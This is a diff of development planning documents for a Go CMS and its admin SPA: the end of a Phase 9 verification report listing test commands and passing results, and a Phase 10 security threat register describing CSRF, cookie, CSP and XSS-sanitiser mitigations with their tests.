| List endpoint | `data` rows | GORM query on the registered model, scoped by `ListExtendQuery` | Yes (PostgreSQL rows in assembled tests) | ✓ FLOWING |
|
||||
| Navigation | entries | plugin `Navigation()` filtered by role + user-level grants from `backend_user_roles`/`backend_users` | Yes | ✓ FLOWING |
|
||||
| Settings GET | `data` | `golem15_fonoteka_settings` row or compiled defaults | Yes | ✓ FLOWING |
|
||||
| Relation linked/candidates | rows | pivot-joined user query with owner and linked users excluded | Yes | ✓ FLOWING |
|
||||
| List endpoint | `data` rows | GORM query scoped by `ListExtendQuery` | Yes (PostgreSQL rows in assembled tests) | ✓ FLOWING |
|
||||
| Navigation | entries | plugin `Navigation()` filtered by role + user grants (+ token scope) | Yes | ✓ FLOWING |
|
||||
| Settings GET | `data` | singleton row or compiled defaults | Yes | ✓ FLOWING |
|
||||
| Relation linked/candidates | rows | pivot-joined user query | Yes | ✓ FLOWING |
|
||||
|
||||
### Behavioral Spot-Checks
|
||||
|
||||
All run by the verifier on 2026-10-11 at summercms.go b45af8e / fonoteka.go e074028.
|
||||
|
||||
| Behavior | Command | Result | Status |
|
||||
|---|---|---|---|
|
||||
| Framework vet | `go vet ./...` (summercms.go) | exit 0, no output | ✓ PASS |
|
||||
| Framework regression (single full run) | `go test ./... -count=1` (summercms.go) | exit 0; 35 packages ok (plus packages with no test files), 0 FAIL | ✓ PASS |
|
||||
| App vet | `go vet $(go list -f '{{.Dir}}/...' -m)` (fonoteka.go, all workspace modules) | exit 0 | ✓ PASS |
|
||||
| App regression | `go test $(go list -f '{{.Dir}}/...' -m) -count=1` (fonoteka.go, root + user + fonoteka plugin modules) | exit 0; 13 packages ok, 0 FAIL | ✓ PASS |
|
||||
| Phase 9 framework tests, named | `go test ./modules/cabana -v -run '^(TestAllowsFollowsWinterHasAnyAccess\|TestNavigationDropsDeniedParentAndRepointsTarget\|TestRelationMutationsFollowToolbarButtons\|TestBulkDelete(Duplicates\|Idempotent\|Rollback)\|TestCRUDHooks\|TestCRUDFillTypeIsValidation\|TestFormSchema(Compile\|Rejects)\|TestListSchemaCompile\|TestRelationCandidateExclusions\|TestPhase09PermissionMatrix\|TestAdminAuthLifecycle\|TestAdminCreateCommand\|TestAdminResetPasswordCommand)$'` | 16 PASS | ✓ PASS |
|
||||
| Review-fix tests, named | `go test ./modules/cabana ./modules/bouncer -v -run '^(TestActivateRefusesAForeignBackendGuard\|TestAdminCreateRejectsCrossFieldCollision\|TestAdminLogoutRevokesExpiredRefreshableToken\|TestAdminPasswordWithoutFlag\|TestBackendUserPermissionsOverrideRole\|TestCRUDOperationsFollowDeclarations\|TestCRUDRequiredFollowsContext\|TestFieldByColumnTagBeatsGoName\|TestHooksReceiveTheWriteTransaction\|TestListSearchNonTextColumns\|TestLoginAmbiguousIdentifier\|TestMissingUserHashUsesConfiguredCost\|TestModelHelpersLookThroughEmbeddedStructs\|TestRegistryOwner\|TestRelationColumnOrderIsIndependentOfIndentation\|TestRelationDefaultSort\|TestVerifyRefreshableClaimsAudience)$'` | 17 PASS (WR-09 scaffold assertions run inside `TestScaffoldAllArtifacts`, full run PASS) | ✓ PASS |
|
||||
| Guard isolation | `go test ./modules/bouncer -run '^TestPhase09GuardIsolation$' -v` | PASS | ✓ PASS |
|
||||
| Backend admin migrations incl. WR-11 index | `go test ./modules/lagoon -count=1 -v -run '^(TestBackendAdmin.*)$'` | 6 PASS (`Migration`, `Seed`, `Rollback`, `WinterRow`, `EmailCaseInsensitiveUnique`, `EmailIndexRefusesCaseDuplicates`) | ✓ PASS |
|
||||
| Assembled Phase 9 acceptance and controllers | `go test ./plugins/golem15/fonoteka -count=1 -v -run '^(TestPhase09.*\|TestAdminSettings.*\|TestAdminMetadata.*\|TestCollectionsAdmin.*\|TestAlbumsAdmin.*\|TestGenresAdmin.*\|TestArtistsAdmin.*\|TestStylesAdmin.*\|TestAdminTracer.*\|TestAdminAuthLifecycleAssembled)$'` (fonoteka.go) | exit 0; 79 PASS, 0 SKIP, 0 FAIL | ✓ PASS |
|
||||
| Framework vet + short suite | `go vet ./...`; `go test -short -count=1 ./...` | vet clean; 38 packages ok, none failing | ✓ PASS |
|
||||
| Token guard under the race detector | `go test -short -count=1 -race ./modules/cabana -run 'Token\|ResolveBackend\|Phase09\|Allows'` | ok | ✓ PASS |
|
||||
| 16.3 guard on the Phase 9 path (previously order-dependent) | `go test -count=1 ./modules/cabana -run '^(TestAllowsScope\|TestBackendTokenGuard\|TestBackendTokenPostgres\|TestInteractiveOnly\|TestResolveBackend\|TestScopeCoversAll\|TestScopeMatch\|TestTokenRouteGates\|TestTokenTracerPostgres\|TestTokenGatesSmoke\|TestAccountTokens\|TestTokenLastUsedThrottlePerGuard\|TestTokenLastUsedDebounce)$'` | 13 PASS; `TestBackendTokenPostgres` PASS after `TestAccountTokens` and `TestTokenTracerPostgres` | ✓ PASS |
|
||||
| Full cabana package (Docker) | `go test -count=1 ./modules/cabana` | ok (84.8s) | ✓ PASS |
|
||||
| Phase 9 framework tests (PostgreSQL) | `go test -count=1 ./modules/cabana ./modules/lagoon -run '^(TestLoginAmbiguousIdentifier\|TestHooksReceiveTheWriteTransaction\|TestCRUDRequiredFollowsContext\|TestCRUDOperationsFollowDeclarations\|TestCRUDHooks\|TestCRUDFillTypeIsValidation\|TestBulkDelete.*\|TestAdminPasswordWithoutFlag\|TestAdminCreateRejectsCrossFieldCollision\|TestAdminAuthLifecycle\|TestAdminLogoutRevokesExpiredRefreshableToken\|TestBackendUserPermissionsOverrideRole\|TestListSearchNonTextColumns\|TestBackendAdmin.*\|TestAdminCreateCommand\|TestAdminResetPasswordCommand)$'` | 27 PASS | ✓ PASS |
|
||||
| Assembled route inventory + denial matrix | (fonoteka.go) `go test ./plugins/golem15/fonoteka -run '^TestPhase09Security' -count=1 -v` | `TestPhase09SecurityRoutes` PASS, `TestPhase09SecurityMatrix` PASS | ✓ PASS |
|
||||
| Assembled Phase 9 suites | (fonoteka.go) named suites (above) | 79 PASS, 0 FAIL, 0 SKIP | ✓ PASS |
|
||||
|
||||
### Probe Execution
|
||||
|
||||
No `scripts/*/tests/probe-*.sh` exists and no plan declares a probe. The phase gate ran instead:
|
||||
No `scripts/*/tests/probe-*.sh` exists and no plan declares one. The phase gate ran instead:
|
||||
|
||||
| Probe | Command | Result | Status |
|
||||
|---|---|---|---|
|
||||
| `scripts/check-phase9.sh` | `--self-test` | planted cases refused ("skipped TestPhase09MigrationsFreshRollback", "zero tests", "failed TestPhase09ContractInventory", "zero tests in a/cabana"), then "phase9 self-test passed", exit 0 | PASS |
|
||||
| `scripts/check-phase9.sh` | `--openapi` | "phase9 openapi passed", exit 0 | PASS |
|
||||
| `scripts/check-phase9.sh` | `--security` | "phase9 security passed", exit 0 | PASS |
|
||||
| `scripts/check-admin-openapi.sh` | `--check` | exit 0 | PASS |
|
||||
| `scripts/check-phase9.sh` | `--all` | self-test refuses its 4 planted cases then "phase9 self-test passed"; "phase9 security passed"; "phase9 postgres passed"; "phase9 openapi passed"; "phase9 evidence files passed"; security/postgres/openapi again; "phase9 evidence passed"; exit 0 | PASS |
|
||||
|
||||
After `--all`, fonoteka.go's working tree showed only its three pre-existing submodule pointer changes. The openapi stage left no diff.
|
||||
|
||||
### Requirements Coverage
|
||||
|
||||
| Requirement | Source Plans | Description | Status | Evidence |
|
||||
|---|---|---|---|---|
|
||||
| AUTH-08 | 09-01, 09-02, 09-11, 09-12 | Backend admins with roles and a permission registry, separate from frontend users, gating navigation and controllers | ✓ SATISFIED | Truth 1 |
|
||||
| AUTH-08 | 09-01, 09-02, 09-11, 09-12 | Backend admins with roles and a permission registry, separate from frontend users, gating navigation and controllers | ✓ SATISFIED | Truth 1; acceptance gate green |
|
||||
| ADMIN-01 | 09-03, 09-06..09-10, 09-12 | fields.yaml to JSON form schema | ✓ SATISFIED | Truth 2 |
|
||||
| ADMIN-02 | 09-01, 09-04, 09-06..09-10, 09-12 | columns.yaml to JSON list schema | ✓ SATISFIED | Truth 3 |
|
||||
| ADMIN-03 | 09-10, 09-12 | relation-manager replaces `partial` | ✓ SATISFIED | Truth 4 |
|
||||
| ADMIN-04 | 09-05..09-10, 09-12 | CRUD hooks and per-record bulk delete | ✓ SATISFIED | Truth 5 |
|
||||
| ADMIN-05 | 09-11, 09-12 | settings model bound through the same pipeline | ✓ SATISFIED | Truth 5 |
|
||||
|
||||
REQUIREMENTS.md maps exactly these six IDs to Phase 9, so there are no orphaned requirements.
|
||||
REQUIREMENTS.md maps exactly these six IDs to Phase 9; no orphaned requirements.
|
||||
|
||||
### Anti-Patterns Found
|
||||
|
||||
| File | Line | Pattern | Severity | Impact |
|
||||
|---|---|---|---|---|
|
||||
| `internal/build/stubs/artifacts.tmpl` | 106 | `// TODO: return a pointer to the plugin's model` in the generated controller | ℹ️ Info | Deliberate scaffold placeholder (WR-09); generated text, not a debt marker in phase code. Until filled in, the scaffold answers 500 and boot refuses the undeclared permission |
|
||||
| `modules/cabana/settings.go` | 149 | no test writes a numeric settings field | ℹ️ Info | The `json.Number` conversion lives in the shared `lagoon.Fill`; settings Fill failures already answer 422 |
|
||||
| `internal/build/stubs/artifacts.tmpl` | — | `// TODO: return a pointer to the plugin's model` in generated scaffold | ℹ️ Info | Deliberate scaffold placeholder (WR-09) |
|
||||
| `modules/cabana/{account_tokens,account_tokens_test,token_postgres_smoke_test,token_routes_test,token_scopes_test}.go` | — | not gofmt-formatted (predates b45af8e, per the quick SUMMARY) | ℹ️ Info (16.3 scope) | Cosmetic. Not in the Phase 9 covered set; I did not re-check it |
|
||||
|
||||
No `TBD`/`FIXME`/`XXX` in any covered implementation file (grep: no hits). The 12 Info review findings (IN-01..IN-12) remain `open` in the ledger and are out of the fix run's scope; none defeats a success criterion.
|
||||
The previous blocker (stale `admin_phase09_security_test.go` inventory) and the info item (`lastStamp` process-global map) are resolved. The five files touched by b45af8e are gofmt-clean, and they and the fonoteka inventory test have no `TBD`/`FIXME`/`XXX`.
|
||||
|
||||
### Advisory (New Scope, Unevidenced)
|
||||
|
||||
None. The previous advisory (`TestBackendTokenPostgres` order dependence) is closed, see `re_verification.advisory_closed`.
|
||||
|
||||
### Human Verification Required
|
||||
|
||||
None open. The previous items are resolved by the user's recorded decisions on 2026-10-01 (09-REVIEW-FIX.md "Decisions", 09-UAT.md status complete, 3/3 pass, commit ba1aaef), and the code at HEAD matches each decision:
|
||||
None. All three 09-UAT.md rows (recorded 2026-10-01T21:13:02Z) were decisions and triage, not runtime observations. The code changed since this morning's report is the token `last_used_at` debounce and one fonoteka test inventory, and neither touches what those decisions rest on:
|
||||
|
||||
| Item | Decision | Code evidence |
|
||||
| UAT row | Rests on | Still holds at HEAD |
|
||||
|---|---|---|
|
||||
| WR-11 unique index on `lower(email)` | add it | migration `202610010001_backend_users_email_ci_unique`; `TestBackendAdminEmailCaseInsensitiveUnique`, `TestBackendAdminEmailIndexRefusesCaseDuplicates` PASS |
|
||||
| WR-03 single-record delete | keep as Winter (allowed whenever a form exists) | `operationDeclared` in `modules/cabana/http.go`; `TestCRUDOperationsFollowDeclarations` PASS |
|
||||
| WR-17 deny versus wildcard | keep as Winter (exact-code merge) | `applyUserPermissions` in `modules/cabana/auth.go`; `TestBackendUserPermissionsOverrideRole` PASS |
|
||||
| 24 judgment-tier prohibitions | verdicts accepted; 09-03 #1 superseded by Phase 10.1 D-09 | Prohibitions table above |
|
||||
| 1 CR-01 | Fill type errors answer 422 | `crud.go` unchanged; `TestCRUDFillTypeIsValidation` PASS today |
|
||||
| 2 WR-01..WR-19 triage (WR-03, WR-11, WR-17 decisions) | `operationDeclared` delete rule; `lower(email)` index; `applyUserPermissions` exact-code merge | `TestCRUDOperationsFollowDeclarations`, `TestBackendAdmin*`, `TestBackendUserPermissionsOverrideRole` PASS today; `auth.go`, `contracts.go` unchanged |
|
||||
| 3 24 prohibitions | see Prohibitions table | none newly violated |
|
||||
|
||||
They are recorded under `human_verified` and are not re-requested.
|
||||
|
||||
### Gaps Summary
|
||||
|
||||
No ROADMAP success criterion failed, so there are no gaps. Separate admin authentication, permission gating of controllers, settings and navigation, the strict goccy/go-yaml form and list pipeline, the relation manager that replaces the Collections editors `partial`, the CRUD hooks, per-record bulk delete and the settings binding all exist under `modules/`, are wired, and pass their tests on real PostgreSQL at HEAD in both repositories. CR-01 and all 19 review warnings are fixed in code, and each fix has a passing named test.
|
||||
None remaining. The one blocker from the 13:00Z run, the stale app-side route inventory, was fixed by a test-only fonoteka.go commit (e074028). The verifier re-ran it and it is green. Each of the 10 routes is confirmed inside cabana's `backend` group, and the field upload route also goes through `protect`/`operationDeclared`. `check-phase9.sh --security` and `--all` exit 0.
|
||||
|
||||
The three policy choices from the fix run are decided (WR-11 index added and tested; WR-03 and WR-17 kept as Winter), the judgment-tier prohibition verdicts are accepted, and UAT is complete. No truth failed, no human item is open, so the phase is `passed`.
|
||||
The 16.3 advisory is also resolved. b45af8e replaces the process-global `lastStamp` map with a per-guard `stampThrottle`. It changes only when `last_used_at` is written, after authentication and scope decisions. The `g15_`/JWT routing, the backend JWT guard, guard ownership and narrow-only scopes are unchanged, and their tests pass, including on PostgreSQL and under `-race`.
|
||||
|
||||
A process note carries over from the last report, still not acted on: framework commits that add an admin route should also update fonoteka's `phase09AdminRoutes`, or run `check-phase9.sh --security` first. The root `go test ./...` does not run fonoteka.go tests.
|
||||
|
||||
---
|
||||
|
||||
_Verified: 2026-10-01T21:17:13Z_
|
||||
_Verifier: Claude (gsd-verifier)_
|
||||
_Verified: 2026-10-11T13:38:34Z_
|
||||
_Verifier: Claude (msd-verifier)_
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
---
|
||||
phase: "10"
|
||||
reviewed: "2026-09-27"
|
||||
threats_open: 0
|
||||
reviewed: "2026-10-12"
|
||||
threats_open: 1
|
||||
gate: "scripts/check-phase10.sh --all"
|
||||
---
|
||||
|
||||
# Phase 10 Security Review
|
||||
|
||||
**2026-10-12 refresh (quick task 261012-s3g).** This refresh re-reviews the admin surface after Phases 12.1 to 17. Phase 17-02 added a second raw-HTML sink: the RichEditorField read-only view, which bound the output of a hand-built walker that DOM clobbering bypassed (T-10-16, T-17-10). The walker is replaced by DOMPurify 3.4.16 (decision note `.planning/notes/2026-10-12-admin-display-sanitizer-dompurify.md`) and proven in a real engine by a Vitest browser-mode suite (`tests/browser/richeditor-display.test.ts`, Playwright Chromium). The admin CSP adds `form-action 'self'` and `frame-src 'none'`. The `--hygiene` and `--self-test` stages, red since Phase 17, are green again, and `check-phase17.sh` runs the Phase 10 hygiene. One threat stays open: `--all` and `--evidence` still refuse on a failure in `../fonoteka.go` that predates this refresh (T-10-24 row).
|
||||
|
||||
This is a fresh code-and-test review of every threat in the registers of Plans 10-01 to 10-05. A high threat counts as mitigated only when its named test fails with the protection removed. That was checked by mutating the production code and re-running the test, as recorded under "Removal check" below. Accepted and transferred threats keep their rationale from the originating plan.
|
||||
|
||||
Commands run from `summercms.go`. `../fonoteka.go` tests run inside that repository. Gate stages are modes of `scripts/check-phase10.sh`.
|
||||
@@ -16,7 +18,7 @@ Commands run from `summercms.go`. `../fonoteka.go` tests run inside that reposit
|
||||
| T-10-01 | Information Disclosure | cabana login/refresh cookie transport | high | mitigated | `cabana/auth.go`: an X-Requested-With login or cookie refresh writes the JWT only into the HttpOnly `summer_admin` cookie and returns `cookieLoginData` (token_type, expires_in). `admin/src/api/client.ts` never reads a token | `TestPhase10CookieAuth` (cabana), `TestPhase10TracerSPA` (fonoteka), `TestPhase10Coverage/cookie refresh…`; stages `--security`, `--postgres` | pass; removal check fails both tests | A script injected into the admin origin could still act with the session. The CSP `script-src 'self'` and the no-raw-HTML rule (T-10-16) limit that |
|
||||
| T-10-02 | Tampering | cookie-authenticated unsafe admin routes (CSRF) | high | mitigated | `cabana/csrf.go` `requireAjax` wraps every POST/PUT/DELETE except login and refuses a request with neither Bearer nor `X-Requested-With: XMLHttpRequest` before decoding. The cookie is SameSite=Strict | `TestPhase10CSRF` (walks every mounted handler with a body-read spy), `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` (fails when an unsafe route is added without the walk), `TestPhase10TracerSPA` step 8; stage `--security` | pass; removal check fails TestPhase10CSRF and TestPhase10TracerSPA | Relies on browsers not sending custom headers cross-origin without a CORS preflight, and the admin API answers none |
|
||||
| T-10-03 | Information Disclosure | boardwalk static serving | medium | mitigated | `boardwalk/boardwalk.go` serves the embedded fs only, with `path.Clean`. It lists no directory, answers 404 for an extension miss and the JSON envelope for `api/` misses | `go test ./boardwalk` (TestTraversalIsCleaned, TestDirectoryIsNeverListed, TestMissingFileWithExtensionIs404, TestPhase10BoardwalkServing encoded traversal); stage `--security` | pass | None known |
|
||||
| T-10-04 | Tampering | admin HTML responses (clickjacking, sniffing, indexing) | medium | mitigated | `setSecurityHeaders`: X-Frame-Options DENY, CSP frame-ancestors none, script-src self, nosniff, Referrer-Policy same-origin, X-Robots-Tag noindex. The index has no inline script | `TestSecurityHeadersOnEveryResponse`, `TestNoInlineScript`, `TestPhase10BoardwalkServing/HEAD…`; stage `--security` | pass | None known |
|
||||
| T-10-04 | Tampering | admin HTML responses (clickjacking, sniffing, indexing, injected forms and frames) | medium | mitigated | `boardwalk.SetSecurityHeaders`: X-Frame-Options DENY, CSP `frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'; form-action 'self'; frame-src 'none'`, nosniff, Referrer-Policy same-origin, X-Robots-Tag noindex. The index has no inline script. Injected markup can neither post a native form off-origin nor frame fetched content; a sandboxed srcdoc preview (Blog Editor) is not fetched and still renders (headless Chromium 1223 probe, 2026-10-12) | `TestSecurityHeadersOnEveryResponse`, `TestPhase101BoardwalkExports`, `TestNoInlineScript`, `TestPhase10BoardwalkServing/HEAD…`; stage `--security` | pass; removal check (drop `form-action 'self'`) fails both header tests | The CSP still allows inline styles and off-origin images in rendered content |
|
||||
| T-10-05 | Spoofing | admin session cookie attributes and logout | high | mitigated | `cabana/auth.go` `sessionCookie`: HttpOnly, Secure (opt-out refused in production), SameSite=Strict, Path=prefix, Max-Age=refresh TTL. `logout` blacklists the jti and expires the cookie. `refresh` loads the admin through the guard's provider and refuses a missing, deactivated or pre-cutoff subject via `bouncer.RefreshAudienceFor`, expiring the cookie on that refusal | `TestPhase10CookieAuth`, `TestPhase10Coverage/cookie refresh…` (attributes on refresh), `TestPhase10AdminAuth` (fonoteka), `TestPhase10AssembledAcceptance` (old cookie is 401 after logout), `TestPhase10Prefix` (cookie_secure false refused in production), `TestAdminRefreshRevocation` (cabana, Postgres), `TestRefreshAudienceForSubject` (bouncer); stages `--security`, `--postgres` | pass; removal checks (HttpOnly off, SameSite Lax, blacklist skipped) each fail | A stolen cookie or Bearer token stays usable until logout, `summer admin:reset-password` (tokens_valid_after), deactivation or deletion of the admin, or the end of its refresh window. Before quick task 260927-q23 (CR-01), refresh skipped the tokens_valid_after and is_activated checks, so a reset did not end a session the SPA kept refreshing. The refresh window slides on every refresh, so a session refreshed at least once per refresh_ttl has no absolute expiry (WR-07, open) |
|
||||
| T-10-06 | Elevation of Privilege | prefix and controller ID collisions | medium | mitigated | `cabana.AdminPrefix` validation, `checkReservedSegments`, and `surf.checkAdminPrefix` rejecting non-cabana routes at or under the prefix | `TestPhase10Prefix`, `TestPhase10AdminPrefixCollision` (exact, deeper, raw, default `/backend`, sibling allowed); stage `--security` | pass | None known |
|
||||
| T-10-07 | Denial of Service | concurrent cookie refresh from two tabs | low | mitigated | fonoteka `blacklist_grace: 30`. `client.ts` single-flights one refresh and replays once | `tests/app/client.test.ts` (single-flight, one replay), `tests/smoke/tracer.smoke.test.ts`; stage `--spa` | pass | Two tabs refreshing more than 30 s apart with the same old cookie: the second tab re-logs in |
|
||||
@@ -28,17 +30,17 @@ Commands run from `summercms.go`. `../fonoteka.go` tests run inside that reposit
|
||||
| T-10-13 | Tampering | messages and toolbar YAML | low | mitigated | Strict decoding with unknown-key rejection, a custom toolbar unmarshal and boot-time key checks | `TestPhase10Messages`, `TestPhase10Toolbar`, `TestPhase10Coverage/relation messages default…`; stage `--go` | pass | None known |
|
||||
| T-10-14 | Tampering | OpenAPI document versus handler output | medium | mitigated | Handlers write the documented types. The converter emits exact unions | `TestPhase10OpenAPIConformance` (every route, unknown fields disallowed), `TestUnionRewrite`, `check-admin-openapi.sh --check`; stage `--openapi` | pass | None known |
|
||||
| T-10-15 | Elevation of Privilege | filters/{scope}/options | medium | mitigated | `protect()` before the provider. Scope names are allow-listed against the compiled filters; anything else is 404 | `TestPhase10FilterOptions`, `TestPhase10Coverage/filter option edges`; stage `--go` | pass | None known |
|
||||
| T-10-16 | Tampering | SPA rendering of plugin labels, messages and record values (XSS) | high | mitigated | Text interpolation only. `admin/src` has no `v-html`, `innerHTML` or `insertAdjacentHTML`. `interpolate` works on plain strings | `--hygiene` (raw-HTML rule, proven by `--self-test` plant), `tests/list/CellValue.test.ts`, `tests/ui/ui.test.ts` (toast and confirm text), `tests/form/fields.test.ts` (hostile type name); stages `--hygiene`, `--spa` | pass; removal check (CellValue via `v-html`) fails the CellValue suite and `--hygiene` | Vue's own escaping is trusted |
|
||||
| T-10-16 | Tampering | SPA rendering of plugin labels, messages and record values (XSS) | high | mitigated | Vue text interpolation everywhere except two reviewed sinks: MarkdownField binds only the server-rendered `POST /markdown/preview` answer (cabana.RenderMarkdown), and the RichEditorField read-only view binds only `displayHtml` output. `displayHtml` (`richeditor/html.ts`) uses a dedicated DOMPurify 3.4.16 instance: EDITOR_TAGS only, `href` only on `<a>` and only through `isAllowedLink` (uponSanitizeAttribute hook), the DROPPED elements with their content, string in and string out through DOMPurify's inert DOMParser document (nothing adopted into the live document, nothing loads). It fails closed (empty string) unless `isSupported` and a fixed canary hold. `lossy.ts` parses into an inert template for tag names only | `tests/browser/richeditor-display.test.ts` (Playwright Chromium: form/input, img and button named nodeType with img onerror, nested in a div, input named localName, off-origin form with a password input, iframe, meta refresh, javascript:/ftp:/sms: hrefs, href on a non-`a` element, inert parse with a resource-timing control, read-only RichEditorField mount), `tests/form/RichEditorField.test.ts` (happy-dom, never as stored), `tests/list/CellValue.test.ts`, `tests/ui/ui.test.ts`, `tests/form/fields.test.ts`; `--hygiene` (raw-HTML rule with line-exact T-17-10 exceptions) and its `--self-test` plants (the display line in another file, a template parse elsewhere); stages `--spa`, `--hygiene` | pass; removal checks: the pre-fix walker fails 4 browser tests, an always-usable sanitizer fails the happy-dom test, removing the hook fails the browser link test, `CellValue` via `v-html` fails its suite and `--hygiene` | Stored richeditor HTML is not sanitized on read server-side; the display relies on DOMPurify plus the CSP. The CSP still allows inline styles and off-origin images in rendered content. Vue's own escaping is trusted |
|
||||
| T-10-17 | Tampering | login redirect parameter (open redirect) | medium | mitigated | `safeRedirect` accepts only a path starting with exactly one slash (not `//` or `/\`) | `tests/app/router.test.ts`, `tests/views/LoginView.test.ts`; stage `--spa` | pass | None known |
|
||||
| T-10-18 | Elevation of Privilege | client-side hiding of actions and fields | low | accepted | The server enforces permissions, toolbar actions, writable fields and relation scope (Plans 10-01/10-02). The SPA renders only what it receives and never adds entries, so client manipulation gains nothing | Server enforcement evidence: `TestPhase10AssembledAcceptance` (limited admin gets 403 on Albums), `TestPhase09PermissionMatrix`; stage `--postgres` | pass | Accepted: UI hiding is cosmetic |
|
||||
| T-10-19 | Information Disclosure | list state (search terms, filters) in the URL | low | accepted | Admin-only, same-origin, Referrer-Policy same-origin and noindex from Plan 10-01. Search terms are not secrets | `TestSecurityHeadersOnEveryResponse`; stage `--security` | pass | Accepted: terms stay in browser history |
|
||||
| T-10-20 | Tampering | Winter redirect and recordUrl strings used for navigation | low | mitigated | `mapWinterUrl` produces only the current controller's list, create and record routes. Anything else falls back to the list | `tests/app/winterUrl.test.ts` (foreign, absolute, protocol-relative, javascript: inputs); stage `--spa` | pass | None known |
|
||||
| T-10-21 | Elevation of Privilege | relation link of candidates outside scope (owner, inactive users) | medium | transferred | Enforced server-side by Phase 9: RelationExtendManageQuery, ExcludedRelatedIDs, and TestCollectionsAdminForgedPivot/CrossScope. The SPA only posts ids chosen from the server's candidates and runs those suites as a regression in Task 1 | `TestCollectionsAdmin*` (fonoteka), `TestPhase10AssembledAcceptance` (owner not offered); stages `--go`, `--postgres` | pass | Transferred to the Phase 9 server contract |
|
||||
| T-10-22 | Information Disclosure | localStorage | low | mitigated | Only `useSidebar.ts` writes browser storage: the `summer-admin.sidebar` boolean | `--hygiene` storage rule (proven by the `--self-test` plant), `tests/state/useSidebar.test.ts` (only that key is ever written) | pass | None known |
|
||||
| T-10-22 | Information Disclosure | localStorage | low | mitigated | Browser storage holds only the `summer-admin.sidebar` boolean (`useSidebar.ts`) and the per-list query parameters (`listState.ts`, T-16.1-03), never a token | `--hygiene` storage rule (proven by the `--self-test` plant), `tests/state/useSidebar.test.ts` (only that key is ever written) | pass | None known |
|
||||
| T-10-23 | Spoofing | logout on a shared browser | medium | mitigated | `useAuth.logout` POSTs `/auth/logout` (the server blacklists and expires the cookie), then clears user, navigation and settings and routes to login, even on a failure | `tests/state/useAuth.test.ts` (success, 500, network failure), `tests/shell/UserMenu.test.ts`, `TestPhase10AssembledAcceptance` (old cookie is 401 after logout); stages `--spa`, `--postgres` | pass | None known |
|
||||
| T-10-24 | Repudiation | Phase 10 acceptance evidence | high | mitigated | `scripts/check-phase10.sh`: `phase10_detect` refuses failed, skipped, zero-test, non-JSON and build-failed runs, and named tests that did not pass. Only the two documented parity failures are allow-listed, and they refuse once they pass again. OpenAPI and dist drift, hygiene and evidence stages | `scripts/check-phase10.sh --self-test` (synthetic fail, skip, zero, non-JSON, build, package, required, allow-list cases; hygiene plants); stage `--all` | pass; every synthetic bad run is refused with its own exit code | The allow-list names two tests owned by a Phase 9 follow-up (deferred-items.md) |
|
||||
| T-10-25 | Tampering | framework/app boundary and hand-maintained API types | low | mitigated | The `--hygiene` stage refuses: app or Polish catalogue names in summercms.go admin, boardwalk, cabana and phrasebook; `types.ts` shapes that are not aliases onto the generated schema; direct fetch; raw HTML; foreign origins in dist; icon namespace imports; retired-prefix routes; untested SPA modules | `--hygiene`, `--self-test` | pass | None known |
|
||||
| T-10-SC | Tampering | npm/Go dependencies | high | mitigated | No package was added in Plans 10-02 to 10-05. `admin/` installs with `npm ci` against the lockfile approved at the 10-01 blocking-human gate (17 exact pins). swag stays pinned at v1.16.6 via `go run` | `scripts/check-phase10.sh --spa` (runs `npm ci` against the lockfile); removal check: a changed pin in a scratch copy makes `npm ci` exit 1 | pass | npm 12 blocks the esbuild and vue-demi postinstall scripts. Neither is needed |
|
||||
| T-10-24 | Repudiation | Phase 10 acceptance evidence | high | open | `scripts/check-phase10.sh`: `phase10_detect` refuses failed, skipped, zero-test, non-JSON and build-failed runs, and named tests that did not pass; OpenAPI and dist drift, hygiene (with the T-17-10 exceptions) and evidence stages; `--spa` also runs the Vitest browser suite fail-closed. `scripts/check-phase17.sh` docs stage runs `check-phase10.sh --hygiene`, so cross-phase admin drift fails Phase 17's gate (asserted by its `--self-test`) | `scripts/check-phase10.sh --self-test` (synthetic runs; hygiene plants including vhtml-elsewhere, template-parse, origin); stages `--hygiene`, `--spa`, `--postgres`, `--openapi`, `--dist` green on 2026-10-12; `check-phase17.sh --all` green | `--self-test`, `--hygiene`, `--spa`, `--postgres`, `--openapi`, `--dist` pass. `--all`, `--security` and `--evidence` exit 1 on `TestPhase09SecurityRoutes` in `../fonoteka.go` only: its `phase09AdminRoutes` allowlist lacks the Phase 17-01 reorder and singleton routes (recorded in 09-SECURITY.md; fails identically with the pre-refresh framework source) | Open until `fonoteka.go` adds the three route keys to `phase09AdminRoutes` and `--all` is re-run green (quick 261012-s3g deferred-items.md) |
|
||||
| T-10-25 | Tampering | framework/app boundary and hand-maintained API types | low | mitigated | The `--hygiene` stage refuses: app or Polish catalogue names in summercms.go admin, boardwalk, cabana and phrasebook; `types.ts` shapes that are not aliases onto the generated schema; direct fetch; raw HTML outside the line-exact reviewed sinks; foreign origins in dist (only never-requested literals are allowed: `https://prosemirror.net`, ProseMirror error text, and `https://admin.invalid`, the reserved-TLD parse base of `isAllowedLink`); icon namespace imports; retired-prefix routes; untested SPA modules (the reorder modules are imported by path in `tests/views/ReorderView.test.ts`) | `--hygiene`, `--self-test` (origin plant) | pass | None known |
|
||||
| T-10-SC | Tampering | npm/Go dependencies | high | mitigated | `admin/` installs with `npm ci` against the committed lockfile, all exact pins. Added 2026-10-12 under `.planning/notes/2026-10-12-admin-display-sanitizer-dompurify.md`: dompurify 3.4.16 (runtime; lockfile integrity checked against the registry), @vitest/browser 3.2.7 and playwright 1.60.0 (dev); maintainers, repositories and release dates verified, `npm audit signatures` clean (308 verified signatures). swag stays pinned at v1.16.6 via `go run` | `scripts/check-phase10.sh --spa` (runs `npm ci` against the lockfile); removal check: a changed pin in a scratch copy makes `npm ci` exit 1 | pass | npm 12 blocks the esbuild and vue-demi postinstall scripts. Neither is needed. dompurify 3.4.17 bump pending its 7-day cooldown (after 2026-10-19) |
|
||||
|
||||
## Removal check
|
||||
|
||||
@@ -57,10 +59,19 @@ The production code was changed, the named tests were run, and the file was rest
|
||||
| T-10-16 | `CellValue` renders text through `v-html` | `npx vitest run tests/list/CellValue.test.ts`; `scripts/check-phase10.sh --hygiene` | both exit 1 |
|
||||
| T-10-24 | synthetic fail, skip, zero, non-JSON, build, package, missing required and stale allow-list runs | `scripts/check-phase10.sh --self-test` | each refused with its exit code |
|
||||
| T-10-SC | `vue` pin changed in a scratch `package.json` | `npm ci --dry-run --offline` against the committed lockfile | exit 1 |
|
||||
